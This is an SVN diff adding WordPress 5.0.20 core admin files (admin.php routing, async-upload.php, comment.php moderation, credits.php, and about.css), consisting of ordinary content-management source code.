+			require_once( ABSPATH . WPINC . '/http.php' );
+			$response = wp_remote_get( admin_url( 'upgrade.php?step=1' ), array( 'timeout' => 120, 'httpversion' => '1.1' ) );
+			/** This action is documented in wp-admin/network/upgrade.php */
+			do_action( 'after_mu_upgrade', $response );
+			unset($response);
+		}
+		unset($c);
+	}
+}
+
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+auth_redirect();
+
+// Schedule trash collection
+if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() )
+	wp_schedule_event(time(), 'daily', 'wp_scheduled_delete');
+
+// Schedule Transient cleanup.
+if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
+	wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
+}
+
+set_screen_options();
+
+$date_format = __( 'F j, Y' );
+$time_format = __( 'g:i a' );
+
+wp_enqueue_script( 'common' );
+
+/**
+ * $pagenow is set in vars.php
+ * $wp_importers is sometimes set in wp-admin/includes/import.php
+ * The remaining variables are imported as globals elsewhere, declared as globals here
+ *
+ * @global string $pagenow
+ * @global array  $wp_importers
+ * @global string $hook_suffix
+ * @global string $plugin_page
+ * @global string $typenow
+ * @global string $taxnow
+ */
+global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;
+
+$page_hook = null;
+
+$editing = false;
+
+if ( isset($_GET['page']) ) {
+	$plugin_page = wp_unslash( $_GET['page'] );
+	$plugin_page = plugin_basename($plugin_page);
+}
+
+if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
+	$typenow = $_REQUEST['post_type'];
+else
+	$typenow = '';
+
+if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) )
+	$taxnow = $_REQUEST['taxonomy'];
+else
+	$taxnow = '';
+
+if ( WP_NETWORK_ADMIN )
+	require(ABSPATH . 'wp-admin/network/menu.php');
+elseif ( WP_USER_ADMIN )
+	require(ABSPATH . 'wp-admin/user/menu.php');
+else
+	require(ABSPATH . 'wp-admin/menu.php');
+
+if ( current_user_can( 'manage_options' ) ) {
+	wp_raise_memory_limit( 'admin' );
+}
+
+/**
+ * Fires as an admin screen or script is being initialized.
+ *
+ * Note, this does not just run on user-facing admin screens.
+ * It runs on admin-ajax.php and admin-post.php as well.
+ *
+ * This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
+ *
+ * @since 2.5.0
+ */
+do_action( 'admin_init' );
+
+if ( isset($plugin_page) ) {
+	if ( !empty($typenow) )
+		$the_parent = $pagenow . '?post_type=' . $typenow;
+	else
+		$the_parent = $pagenow;
+	if ( ! $page_hook = get_plugin_page_hook($plugin_page, $the_parent) ) {
+		$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);
+
+		// Back-compat for plugins using add_management_page().
+		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook($plugin_page, 'tools.php') ) {
+			// There could be plugin specific params on the URL, so we need the whole query string
+			if ( !empty($_SERVER[ 'QUERY_STRING' ]) )
+				$query_string = $_SERVER[ 'QUERY_STRING' ];
+			else
+				$query_string = 'page=' . $plugin_page;
+			wp_redirect( admin_url('tools.php?' . $query_string) );
+			exit;
+		}
+	}
+	unset($the_parent);
+}
+
+$hook_suffix = '';
+if ( isset( $page_hook ) ) {
+	$hook_suffix = $page_hook;
+} elseif ( isset( $plugin_page ) ) {
+	$hook_suffix = $plugin_page;
+} elseif ( isset( $pagenow ) ) {
+	$hook_suffix = $pagenow;
+}
+
+set_current_screen();
+
+// Handle plugin admin pages.
+if ( isset($plugin_page) ) {
+	if ( $page_hook ) {
+		/**
+		 * Fires before a particular screen is loaded.
+		 *
+		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
+		 * where a callback is provided when the screen is registered.
+		 *
+		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
+		 * page information including:
+		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
+		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
+		 * 2. A separator of '_page_'.
+		 * 3. The plugin basename minus the file extension.
+		 *
+		 * Together, the three parts form the `$page_hook`. Citing the example above,
+		 * the hook name used would be 'load-settings_page_pluginbasename'.
+		 *
+		 * @see get_plugin_page_hook()
+		 *
+		 * @since 2.1.0
+		 */
+		do_action( "load-{$page_hook}" );
+		if (! isset($_GET['noheader']))
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		/**
+		 * Used to call the registered callback for a plugin screen.
+		 *
+		 * @ignore
+		 * @since 1.5.0
+		 */
+		do_action( $page_hook );
+	} else {
+		if ( validate_file( $plugin_page ) ) {
+			wp_die( __( 'Invalid plugin page.' ) );
+		}
+
+		if ( !( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) && !( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") && is_file(WPMU_PLUGIN_DIR . "/$plugin_page") ) )
+			wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page)));
+
+		/**
+		 * Fires before a particular screen is loaded.
+		 *
+		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
+		 * where the file to load is directly included, rather than the use of a function.
+		 *
+		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
+		 *
+		 * @see plugin_basename()
+		 *
+		 * @since 1.5.0
+		 */
+		do_action( "load-{$plugin_page}" );
+
+		if ( !isset($_GET['noheader']))
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		if ( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") )
+			include(WPMU_PLUGIN_DIR . "/$plugin_page");
+		else
+			include(WP_PLUGIN_DIR . "/$plugin_page");
+	}
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	exit();
+} elseif ( isset( $_GET['import'] ) ) {
+
+	$importer = $_GET['import'];
+
+	if ( ! current_user_can( 'import' ) ) {
+		wp_die( __( 'Sorry, you are not allowed to import content.' ) );
+	}
+
+	if ( validate_file($importer) ) {
+		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
+		exit;
+	}
+
+	if ( ! isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2]) ) {
+		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
+		exit;
+	}
+
+	/**
+	 * Fires before an importer screen is loaded.
+	 *
+	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( "load-importer-{$importer}" );
+
+	$parent_file = 'tools.php';
+	$submenu_file = 'import.php';
+	$title = __('Import');
+
+	if (! isset($_GET['noheader']))
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+	require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
+
+	define('WP_IMPORTING', true);
+
+	/**
+	 * Whether to filter imported data through kses on import.
+	 *
+	 * Multisite uses this hook to filter all data through kses by default,
+	 * as a super administrator may be assisting an untrusted user.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $force Whether to force data to be filtered through kses. Default false.
+	 */
+	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
+		kses_init_filters();  // Always filter imported data with kses on multisite.
+	}
+
+	call_user_func($wp_importers[$importer][2]);
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	// Make sure rules are flushed
+	flush_rewrite_rules(false);
+
+	exit();
+} else {
+	/**
+	 * Fires before a particular screen is loaded.
+	 *
+	 * The load-* hook fires in a number of contexts. This hook is for core screens.
+	 *
+	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
+	 * referring to the filename of the current page, such as 'admin.php',
+	 * 'post-new.php' etc. A complete hook for the latter would be
+	 * 'load-post-new.php'.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( "load-{$pagenow}" );
+
+	/*
+	 * The following hooks are fired to ensure backward compatibility.
+	 * In all other cases, 'load-' . $pagenow should be used instead.
+	 */
+	if ( $typenow == 'page' ) {
+		if ( $pagenow == 'post-new.php' )
+			do_action( 'load-page-new.php' );
+		elseif ( $pagenow == 'post.php' )
+			do_action( 'load-page.php' );
+	}  elseif ( $pagenow == 'edit-tags.php' ) {
+		if ( $taxnow == 'category' )
+			do_action( 'load-categories.php' );
+		elseif ( $taxnow == 'link_category' )
+			do_action( 'load-edit-link-categories.php' );
+	} elseif( 'term.php' === $pagenow ) {
+		do_action( 'load-edit-tags.php' );
+	}
+}
+
+if ( ! empty( $_REQUEST['action'] ) ) {
+	/**
+	 * Fires when an 'action' request variable is sent.
+	 *
+	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
+	 * refers to the action derived from the `GET` or `POST` request.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'admin_action_' . $_REQUEST['action'] );
+}
Index: /tags/5.0.20/src/wp-admin/async-upload.php
===================================================================
--- /tags/5.0.20/src/wp-admin/async-upload.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/async-upload.php	(revision 56912)
@@ -0,0 +1,108 @@
+<?php
+/**
+ * Server-side file upload handler from wp-plupload or other asynchronous upload methods.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
+	define( 'DOING_AJAX', true );
+}
+
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+if ( defined( 'ABSPATH' ) ) {
+	require_once( ABSPATH . 'wp-load.php' );
+} else {
+	require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+}
+
+require_once( ABSPATH . 'wp-admin/admin.php' );
+
+header( 'Content-Type: text/plain; charset=' . get_option( 'blog_charset' ) );
+
+if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
+	include( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+	send_nosniff_header();
+	nocache_headers();
+
+	wp_ajax_upload_attachment();
+	die( '0' );
+}
+
+if ( ! current_user_can( 'upload_files' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to upload files.' ) );
+}
+
+// just fetch the detail form for that attachment
+if ( isset($_REQUEST['attachment_id']) && ($id = intval($_REQUEST['attachment_id'])) && $_REQUEST['fetch'] ) {
+	$post = get_post( $id );
+	if ( 'attachment' != $post->post_type )
+		wp_die( __( 'Invalid post type.' ) );
+	if ( ! current_user_can( 'edit_post', $id ) )
+		wp_die( __( 'Sorry, you are not allowed to edit this item.' ) );
+
+	switch ( $_REQUEST['fetch'] ) {
+		case 3 :
+			if ( $thumb_url = wp_get_attachment_image_src( $id, 'thumbnail', true ) )
+				echo '<img class="pinkynail" src="' . esc_url( $thumb_url[0] ) . '" alt="" />';
+			echo '<a class="edit-attachment" href="' . esc_url( get_edit_post_link( $id ) ) . '" target="_blank">' . _x( 'Edit', 'media item' ) . '</a>';
+
+			// Title shouldn't ever be empty, but use filename just in case.
+			$file = get_attached_file( $post->ID );
+			$title = $post->post_title ? $post->post_title : wp_basename( $file );
+			echo '<div class="filename new"><span class="title">' . esc_html( wp_html_excerpt( $title, 60, '&hellip;' ) ) . '</span></div>';
+			break;
+		case 2 :
+			add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);
+			echo get_media_item($id, array( 'send' => false, 'delete' => true ));
+			break;
+		default:
+			add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
+			echo get_media_item($id);
+			break;
+	}
+	exit;
+}
+
+check_admin_referer('media-form');
+
+$post_id = 0;
+if ( isset( $_REQUEST['post_id'] ) ) {
+	$post_id = absint( $_REQUEST['post_id'] );
+	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) )
+		$post_id = 0;
+}
+
+$id = media_handle_upload( 'async-upload', $post_id );
+if ( is_wp_error($id) ) {
+	echo '<div class="error-div error">
+	<a class="dismiss" href="#" onclick="jQuery(this).parents(\'div.media-item\').slideUp(200, function(){jQuery(this).remove();});">' . __('Dismiss') . '</a>
+	<strong>' . sprintf(__('&#8220;%s&#8221; has failed to upload.'), esc_html($_FILES['async-upload']['name']) ) . '</strong><br />' .
+	esc_html($id->get_error_message()) . '</div>';
+	exit;
+}
+
+if ( $_REQUEST['short'] ) {
+	// Short form response - attachment ID only.
+	echo $id;
+} else {
+	// Long form response - big chunk o html.
+	$type = $_REQUEST['type'];
+
+	/**
+	 * Filters the returned ID of an uploaded attachment.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the attachment type,
+	 * such as 'image', 'audio', 'video', 'file', etc.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $id Uploaded attachment ID.
+	 */
+	echo apply_filters( "async_upload_{$type}", $id );
+}
Index: /tags/5.0.20/src/wp-admin/comment.php
===================================================================
--- /tags/5.0.20/src/wp-admin/comment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/comment.php	(revision 56912)
@@ -0,0 +1,333 @@
+<?php
+/**
+ * Comment Management Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$parent_file = 'edit-comments.php';
+$submenu_file = 'edit-comments.php';
+
+/**
+ * @global string $action
+ */
+global $action;
+wp_reset_vars( array('action') );
+
+if ( isset( $_POST['deletecomment'] ) )
+	$action = 'deletecomment';
+
+if ( 'cdc' == $action )
+	$action = 'delete';
+elseif ( 'mac' == $action )
+	$action = 'approve';
+
+if ( isset( $_GET['dt'] ) ) {
+	if ( 'spam' == $_GET['dt'] )
+		$action = 'spam';
+	elseif ( 'trash' == $_GET['dt'] )
+		$action = 'trash';
+}
+
+switch( $action ) {
+
+case 'editcomment' :
+	$title = __('Edit Comment');
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __( 'You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error.' ) . '</p>' .
+			'<p>' . __( 'You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment.' ) . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Administration_Screens#Comments">Documentation on Comments</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+	);
+
+	wp_enqueue_script('comment');
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$comment_id = absint( $_GET['c'] );
+
+	if ( !$comment = get_comment( $comment_id ) )
+		comment_footer_die( __( 'Invalid comment ID.' ) . sprintf(' <a href="%s">' . __('Go back') . '</a>.', 'javascript:history.go(-1)') );
+
+	if ( !current_user_can( 'edit_comment', $comment_id ) )
+		comment_footer_die( __('Sorry, you are not allowed to edit this comment.') );
+
+	if ( 'trash' == $comment->comment_approved )
+		comment_footer_die( __('This comment is in the Trash. Please move it out of the Trash if you want to edit it.') );
+
+	$comment = get_comment_to_edit( $comment_id );
+
+	include( ABSPATH . 'wp-admin/edit-form-comment.php' );
+
+	break;
+
+case 'delete'  :
+case 'approve' :
+case 'trash'   :
+case 'spam'    :
+
+	$title = __('Moderate Comment');
+
+	$comment_id = absint( $_GET['c'] );
+
+	if ( ! $comment = get_comment( $comment_id ) ) {
+		wp_redirect( admin_url('edit-comments.php?error=1') );
+		die();
+	}
+
+	if ( !current_user_can( 'edit_comment', $comment->comment_ID ) ) {
+		wp_redirect( admin_url('edit-comments.php?error=2') );
+		die();
+	}
+
+	// No need to re-approve/re-trash/re-spam a comment.
+	if ( $action == str_replace( '1', 'approve', $comment->comment_approved ) ) {
+		wp_redirect( admin_url( 'edit-comments.php?same=' . $comment_id ) );
+		die();
+ 	}
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$formaction    = $action . 'comment';
+	$nonce_action  = 'approve' == $action ? 'approve-comment_' : 'delete-comment_';
+	$nonce_action .= $comment_id;
+
+?>
+<div class="wrap">
+
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<?php
+switch ( $action ) {
+	case 'spam' :
+		$caution_msg = __('You are about to mark the following comment as spam:');
+		$button      = _x( 'Mark as Spam', 'comment' );
+		break;
+	case 'trash' :
+		$caution_msg = __('You are about to move the following comment to the Trash:');
+		$button      = __('Move to Trash');
+		break;
+	case 'delete' :
+		$caution_msg = __('You are about to delete the following comment:');
+		$button      = __('Permanently Delete Comment');
+		break;
+	default :
+		$caution_msg = __('You are about to approve the following comment:');
+		$button      = __('Approve Comment');
+		break;
+}
+
+if ( $comment->comment_approved != '0' ) { // if not unapproved
+	$message = '';
+	switch ( $comment->comment_approved ) {
+		case '1' :
+			$message = __('This comment is currently approved.');
+			break;
+		case 'spam' :
+			$message  = __('This comment is currently marked as spam.');
+			break;
+		case 'trash' :
+			$message  = __('This comment is currently in the Trash.');
+			break;
+	}
+	if ( $message ) {
+		echo '<div id="message" class="notice notice-info"><p>' . $message . '</p></div>';
+	}
+}
+?>
+<div id="message" class="notice notice-warning"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php echo $caution_msg; ?></p></div>
+
+<table class="form-table comment-ays">
+<tr>
+<th scope="row"><?php _e('Author'); ?></th>
+<td><?php comment_author( $comment ); ?></td>
+</tr>
+<?php if ( get_comment_author_email( $comment ) ) { ?>
+<tr>
+<th scope="row"><?php _e('Email'); ?></th>
+<td><?php comment_author_email( $comment ); ?></td>
+</tr>
+<?php } ?>
+<?php if ( get_comment_author_url( $comment ) ) { ?>
+<tr>
+<th scope="row"><?php _e('URL'); ?></th>
+<td><a href="<?php comment_author_url( $comment ); ?>"><?php comment_author_url( $comment ); ?></a></td>
+</tr>
+<?php } ?>
+<tr>
+	<th scope="row"><?php /* translators: column name or table row header */ _e( 'In Response To' ); ?></th>
+	<td>
+	<?php
+		$post_id = $comment->comment_post_ID;
+		if ( current_user_can( 'edit_post', $post_id ) ) {
+			$post_link = "<a href='" . esc_url( get_edit_post_link( $post_id ) ) . "'>";
+			$post_link .= esc_html( get_the_title( $post_id ) ) . '</a>';
+		} else {
+			$post_link = esc_html( get_the_title( $post_id ) );
+		}
+		echo $post_link;
+
+		if ( $comment->comment_parent ) {
+			$parent      = get_comment( $comment->comment_parent );
+			$parent_link = esc_url( get_comment_link( $parent ) );
+			$name        = get_comment_author( $parent );
+			printf(
+				/* translators: %s: comment link */
+				' | ' . __( 'In reply to %s.' ),
+				'<a href="' . $parent_link . '">' . $name . '</a>'
+			);
+		}
+	?>
+	</td>
+</tr>
+<tr>
+	<th scope="row"><?php _e( 'Submitted on' ); ?></th>
+	<td>
+	<?php
+		/* translators: 1: comment date, 2: comment time */
+		$submitted = sprintf( __( '%1$s at %2$s' ),
+			/* translators: comment date format. See https://secure.php.net/date */
+			get_comment_date( __( 'Y/m/d' ), $comment ),
+			get_comment_date( __( 'g:i a' ), $comment )
+		);
+		if ( 'approved' === wp_get_comment_status( $comment ) && ! empty ( $comment->comment_post_ID ) ) {
+			echo '<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . $submitted . '</a>';
+		} else {
+			echo $submitted;
+		}
+	?>
+	</td>
+</tr>
+<tr>
+<th scope="row"><?php /* translators: field name in comment form */ _ex('Comment', 'noun'); ?></th>
+<td class="comment-content">
+	<?php comment_text( $comment ); ?>
+	<p class="edit-comment"><a href="<?php echo admin_url( "comment.php?action=editcomment&amp;c={$comment->comment_ID}" ); ?>"><?php esc_html_e( 'Edit' ); ?></a></p>
+</td>
+</tr>
+</table>
+
+<form action="comment.php" method="get" class="comment-ays-submit">
+
+<p>
+	<?php submit_button( $button, 'primary', 'submit', false ); ?>
+	<a href="<?php echo admin_url('edit-comments.php'); ?>" class="button-cancel"><?php esc_html_e( 'Cancel' ); ?></a>
+</p>
+
+<?php wp_nonce_field( $nonce_action ); ?>
+<input type="hidden" name="action" value="<?php echo esc_attr($formaction); ?>" />
+<input type="hidden" name="c" value="<?php echo esc_attr($comment->comment_ID); ?>" />
+<input type="hidden" name="noredir" value="1" />
+</form>
+
+</div>
+<?php
+	break;
+
+case 'deletecomment'    :
+case 'trashcomment'     :
+case 'untrashcomment'   :
+case 'spamcomment'      :
+case 'unspamcomment'    :
+case 'approvecomment'   :
+case 'unapprovecomment' :
+	$comment_id = absint( $_REQUEST['c'] );
+
+	if ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ) ) )
+		check_admin_referer( 'approve-comment_' . $comment_id );
+	else
+		check_admin_referer( 'delete-comment_' . $comment_id );
+
+	$noredir = isset($_REQUEST['noredir']);
+
+	if ( !$comment = get_comment($comment_id) )
+		comment_footer_die( __( 'Invalid comment ID.' ) . sprintf(' <a href="%s">' . __('Go back') . '</a>.', 'edit-comments.php') );
+	if ( !current_user_can( 'edit_comment', $comment->comment_ID ) )
+		comment_footer_die( __('Sorry, you are not allowed to edit comments on this post.') );
+
+	if ( '' != wp_get_referer() && ! $noredir && false === strpos(wp_get_referer(), 'comment.php') )
+		$redir = wp_get_referer();
+	elseif ( '' != wp_get_original_referer() && ! $noredir )
+		$redir = wp_get_original_referer();
+	elseif ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ) ) )
+		$redir = admin_url('edit-comments.php?p=' . absint( $comment->comment_post_ID ) );
+	else
+		$redir = admin_url('edit-comments.php');
+
+	$redir = remove_query_arg( array('spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids', 'approved', 'unapproved'), $redir );
+
+	switch ( $action ) {
+		case 'deletecomment' :
+			wp_delete_comment( $comment );
+			$redir = add_query_arg( array('deleted' => '1'), $redir );
+			break;
+		case 'trashcomment' :
+			wp_trash_comment( $comment );
+			$redir = add_query_arg( array('trashed' => '1', 'ids' => $comment_id), $redir );
+			break;
+		case 'untrashcomment' :
+			wp_untrash_comment( $comment );
+			$redir = add_query_arg( array('untrashed' => '1'), $redir );
+			break;
+		case 'spamcomment' :
+			wp_spam_comment( $comment );
+			$redir = add_query_arg( array('spammed' => '1', 'ids' => $comment_id), $redir );
+			break;
+		case 'unspamcomment' :
+			wp_unspam_comment( $comment );
+			$redir = add_query_arg( array('unspammed' => '1'), $redir );
+			break;
+		case 'approvecomment' :
+			wp_set_comment_status( $comment, 'approve' );
+			$redir = add_query_arg( array( 'approved' => 1 ), $redir );
+			break;
+		case 'unapprovecomment' :
+			wp_set_comment_status( $comment, 'hold' );
+			$redir = add_query_arg( array( 'unapproved' => 1 ), $redir );
+			break;
+	}
+
+	wp_redirect( $redir );
+	die;
+
+case 'editedcomment' :
+
+	$comment_id = absint( $_POST['comment_ID'] );
+	$comment_post_id = absint( $_POST['comment_post_ID'] );
+
+	check_admin_referer( 'update-comment_' . $comment_id );
+
+	edit_comment();
+
+	$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;
+
+	/**
+	 * Filters the URI the user is redirected to after editing a comment in the admin.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $location The URI the user will be redirected to.
+	 * @param int $comment_id The ID of the comment being edited.
+	 */
+	$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );
+	wp_redirect( $location );
+
+	exit();
+
+default:
+	wp_die( __('Unknown action.') );
+
+} // end switch
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/credits.php
===================================================================
--- /tags/5.0.20/src/wp-admin/credits.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/credits.php	(revision 56912)
@@ -0,0 +1,128 @@
+<?php
+/**
+ * Credits administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+require_once( dirname( __FILE__ ) . '/includes/credits.php' );
+
+$title = __( 'Credits' );
+
+list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap about-wrap full-width-layout">
+
+<h1><?php printf( __( 'Welcome to WordPress %s' ), $display_version ); ?></h1>
+
+<p class="about-text"><?php printf( __( 'Thank you for updating to the latest version! WordPress %s introduces a robust new content creation experience.' ), $display_version ); ?></p>
+
+<div class="wp-badge"><?php printf( __( 'Version %s' ), $display_version ); ?></div>
+
+<h2 class="nav-tab-wrapper wp-clearfix">
+	<a href="about.php" class="nav-tab"><?php _e( 'What&#8217;s New' ); ?></a>
+	<a href="credits.php" class="nav-tab nav-tab-active"><?php _e( 'Credits' ); ?></a>
+	<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
+	<a href="freedoms.php?privacy-notice" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
+</h2>
+
+<div class="about-wrap-content">
+<?php
+
+$credits = wp_credits();
+
+if ( ! $credits ) {
+	echo '<p class="about-description">';
+	/* translators: 1: https://wordpress.org/about/, 2: https://make.wordpress.org/ */
+	printf( __( 'WordPress is created by a <a href="%1$s">worldwide team</a> of passionate individuals. <a href="%2$s">Get involved in WordPress</a>.' ),
+		'https://wordpress.org/about/',
+		__( 'https://make.wordpress.org/' )
+	);
+	echo '</p>';
+	echo '</div>';
+	echo '</div>';
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+echo '<p class="about-description">' . __( 'WordPress is created by a worldwide team of passionate individuals.' ) . "</p>\n";
+
+echo '<p>' . sprintf(
+	/* translators: %s: https://make.wordpress.org/ */
+	__( 'Want to see your name in lights on this page? <a href="%s">Get involved in WordPress</a>.' ),
+	__( 'https://make.wordpress.org/' )
+) . '</p>';
+
+foreach ( $credits['groups'] as $group_slug => $group_data ) {
+	if ( $group_data['name'] ) {
+		if ( 'Translators' == $group_data['name'] ) {
+			// Considered a special slug in the API response. (Also, will never be returned for en_US.)
+			$title = _x( 'Translators', 'Translate this to be the equivalent of English Translators in your language for the credits page Translators section' );
+		} elseif ( isset( $group_data['placeholders'] ) ) {
+			$title = vsprintf( translate( $group_data['name'] ), $group_data['placeholders'] );
+		} else {
+			$title = translate( $group_data['name'] );
+		}
+
+		echo '<h3 class="wp-people-group">' . esc_html( $title ) . "</h3>\n";
+	}
+
+	if ( ! empty( $group_data['shuffle'] ) )
+		shuffle( $group_data['data'] ); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt.
+
+	switch ( $group_data['type'] ) {
+		case 'list' :
+			array_walk( $group_data['data'], '_wp_credits_add_profile_link', $credits['data']['profiles'] );
+			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
+			break;
+		case 'libraries' :
+			array_walk( $group_data['data'], '_wp_credits_build_object_link' );
+			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
+			break;
+		default:
+			$compact = 'compact' == $group_data['type'];
+			$classes = 'wp-people-group ' . ( $compact ? 'compact' : '' );
+			echo '<ul class="' . $classes . '" id="wp-people-group-' . $group_slug . '">' . "\n";
+			foreach ( $group_data['data'] as $person_data ) {
+				echo '<li class="wp-person" id="wp-person-' . esc_attr( $person_data[2] ) . '">' . "\n\t";
+				echo '<a href="' . esc_url( sprintf( $credits['data']['profiles'], $person_data[2] ) ) . '" class="web">';
+				$size = 'compact' == $group_data['type'] ? 30 : 60;
+				$data = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size ) );
+				$size *= 2;
+				$data2x = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size ) );
+				echo '<img src="' . esc_url( $data['url'] ) . '" srcset="' . esc_url( $data2x['url'] ) . ' 2x" class="gravatar" alt="" />' . "\n";
+				echo esc_html( $person_data[0] ) . "</a>\n\t";
+				if ( ! $compact )
+					echo '<span class="title">' . translate( $person_data[3] ) . "</span>\n";
+				echo "</li>\n";
+			}
+			echo "</ul>\n";
+		break;
+	}
+}
+
+?>
+</div>
+</div>
+<?php
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
+
+return;
+
+// These are strings returned by the API that we want to be translatable
+__( 'Project Leaders' );
+__( 'Core Contributors to WordPress %s' );
+__( 'Noteworthy Contributors' );
+__( 'Cofounder, Project Lead' );
+__( 'Lead Developer' );
+__( 'Release Lead' );
+__( 'Release Design Lead' );
+__( 'Release Deputy' );
+__( 'Core Developer' );
+__( 'External Libraries' );
Index: /tags/5.0.20/src/wp-admin/css/about.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/about.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/about.css	(revision 56912)
@@ -0,0 +1,639 @@
+/*------------------------------------------------------------------------------
+  22.0 - About Pages
+
+   1.0 Global: About, Credits, Freedoms
+    1.1 Typography
+    1.2 Structure
+    1.3 Point Releases
+   2.0 About Page
+    2.1 Typography
+    2.2 Structure
+    2.3 Floating Header Layout
+   3.0 Credits & Freedoms Pages
+------------------------------------------------------------------------------*/
+
+/*------------------------------------------------------------------------------
+  1.0 - Global: About, Credits, Freedoms
+------------------------------------------------------------------------------*/
+
+.about-wrap {
+	position: relative;
+	margin: 25px 40px 0 20px;
+	max-width: 1050px; /* readability */
+	font-size: 15px;
+}
+
+.about-wrap.full-width-layout {
+	max-width: 1200px;
+}
+
+.about-wrap-content {
+	max-width: 1050px;
+}
+
+.about-wrap div.updated,
+.about-wrap div.error,
+.about-wrap .notice {
+	display: none !important;
+}
+
+.about-wrap hr {
+	border: 0;
+	height: 0;
+	margin: 3em 0 0;
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+}
+
+.about-wrap img {
+	margin: 0;
+	width: 100%;
+	height: auto;
+	vertical-align: middle;
